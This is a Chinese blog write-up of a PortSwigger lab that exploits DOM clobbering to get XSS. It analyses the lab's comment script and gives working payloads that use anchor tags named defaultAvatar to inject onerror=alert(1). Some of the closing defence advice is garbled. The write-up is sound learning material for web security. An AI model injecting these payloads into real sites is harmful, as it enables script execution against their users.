【网络安全】XSS漏洞——PortSwigger靶场-DOM破坏
目录
一、环境
二、利用 DOM 破坏来启用 XSS
2.1 源代码分析
2.2 构造 defaultAvatar
2.3 payload
三、总结
一、环境
实验室:利用 DOM 破坏来启用 XSS |网络安全学院
二、利用 DOM 破坏来启用 XSS
进入环境是一个博客,有评论的功能,围绕主题存在XSS漏洞,那么先尝试测试下XSS。
Email存在正则,允许的HTML部分使用<textarea>标签插入也没什么区别。
按照提示,提交上去看看什么情况。发现被过滤掉了,我们提交的只留下了<img src=1>部分,onerror事件没有了。
现在需要考虑的是怎么去找危害的代码,来看一下源代码。 发现使用了DOMPurify框架,这个框架是一个前端过滤框架用来防御DOMxss,这个框架很强大绕过的概率几乎为零。
2.1 源代码分析
那么就从源代码中找找是否有漏洞存在。当从form表单中提交到了"/post/comment",后端代码又看不到。现在只能找 js 中存在DOM破坏的地方。其中:
<script src='/resources/js/loadCommentsWithDomClobbering.js'></script>来进行源代码分析。
function loadComments(postCommentPath) {let xhr = new XMLHttpRequest();xhr.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {let comments = JSON.parse(this.responseText);displayComments(comments);}};xhr.open("GET", postCommentPath + window.location.search);xhr.send();function escapeHTML(data) {return data.replace(/[<>'"]/g, function(c){return '&#' + c.charCodeAt(0) + ';';})}function displayComments(comments) {let userComments = document.getElementById("user-comments");for (let i = 0; i < comments.length; ++i){comment = comments[i];let commentSection = document.createElement("section");commentSection.setAttribute("class", "comment");let firstPElement = document.createElement("p");let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';let divImgContainer = document.createElement("div");divImgContainer.innerHTML = avatarImgHTMLif (comment.author) {if (comment.website) {let websiteElement = document.createElement("a");websiteElement.setAttribute("id", "author");websiteElement.setAttribute("href", comment.website);firstPElement.appendChild(websiteElement)}let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)firstPElement.innerHTML = newInnerHtml}if (comment.date) {let dateObj = new Date(comment.date)let month = '' + (dateObj.getMonth() + 1);let day = '' + dateObj.getDate();let year = dateObj.getFullYear();if (month.length < 2)month = '0' + month;if (day.length < 2)day = '0' + day;dateStr = [day, month, year].join('-');let newInnerHtml = firstPElement.innerHTML + " | " + dateStrfirstPElement.innerHTML = newInnerHtml}firstPElement.appendChild(divImgContainer);commentSection.appendChild(firstPElement);if (comment.body) {let commentBodyPElement = document.createElement("p");commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);commentSection.appendChild(commentBodyPElement);}commentSection.appendChild(document.createElement("p"));userComments.appendChild(commentSection);}}
};
首先可以看到嵌套了两个方法。基于评论下一个过滤、一个展示、一个载入。其中单双引号和尖括号过滤成了实体编码。
可以看到form表单提交到了loadComments函数里面去了。
然后就是loadComments会请求postCommentPath和window.location.search。window.location是请求的地址栏,search就是请求的参数。
提交完form表单之后就会返回然后走进displayComments进行展示。然后获取所有comments进行循环,会创建一个<p>标签,然后创建的头像和<img>标签,创建div后然后把标签放进div。
分析完了功能,发现这个头像如果不存在就是走默认的头像。然后会写一个<img>标签其中src可能会存在问题的,src是可以触发 xss 的。
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
很简单 src 下是表示判断是否有头像,没有的话 defaultAvatar.avatar 的取值就是取 avatar 的默认值。那么如果能取到 window.defaultAvatar 就有可能可以闭合 src。window.defaultAvatar 能够自己构造吗?显然可以<img name=defaultAvatar>那么window.defaultAvatar就会把name给取出来。就是很典型的DOM破坏。
2.2 构造 defaultAvatar
那怎么去构造 defaultAvatar ?可以用 DomClobbering 来控制 window.defaultAvatar,只要我们原来没有头像就可以构造⼀个 defaultAvatar.avatar 进行 XSS 了。这是⼀个两层的层级关系,我们可以用 HTMLCollection 来操作。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="author" content="system"><meta name="keyframes" content="whoami"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head><body><a id=defaultAvatar><a id=defaultAvatar name=avatar href="1" onerror=alert(1)//"></a>
</body>
<script>console.log(defaultAvatar)
通过打印调试,是一个集合。我们通过 x.y 的形式能够取出<a>标签。当我们用 alert 会自动进行转码,转码后会把 href 后的给取出来。此时 defaultAvatar 就走到我们上传的投头像,defaultAvatar 现在是我们构造的。defaultAvatar.avatar 就是我们 href 的值。
2.3 payload
现在需要闭合双引号和写入 onerror。此时闭合双引号有个问题,就是 href 中需要有双引号才能闭合。想要逃脱双引号控制,我们的href必须要有双引号,要不然 onerror 写进 src中没什么用。
此时我们的双引号需要进行HTML实体编码,用URL编码的话浏览器会报错。
payload:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1"onerror=alert(1)//">
不一样了,没出发onerror事件,此时我们在评论一次。发现头像已经被覆盖了。但是双引号被url编码了。
此时使用不存在的伪协议 如cid,成功触发 XSS。
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
三、总结
本章内容学西了DOM破坏漏洞。Dom Clobbering 就是⼀种将HTML代码注入页面中以操纵DOM并最终更改页面上 JavaScript 的技术。在无法直接XSS的情况下,我们就可以往DOMClobbering 方向考虑。通过自己自定义属性来构造元素从而覆盖掉原来的元素。也了解了前端的过滤框架DOMPurify框架。
如何防止DOM破坏攻击:
可以通过实施检查来确保对象或函数符合期望,从而防止 DOM 破坏攻击。例如,可以检查 DOM 节点的属性属性实际上是的实例。这确保了该属性是属性属性,而不是被破坏的 HTML 元素。检查对象和函数是否合法。如果要过滤 DOM,请确保检查对象或函数不是 DOM 节点。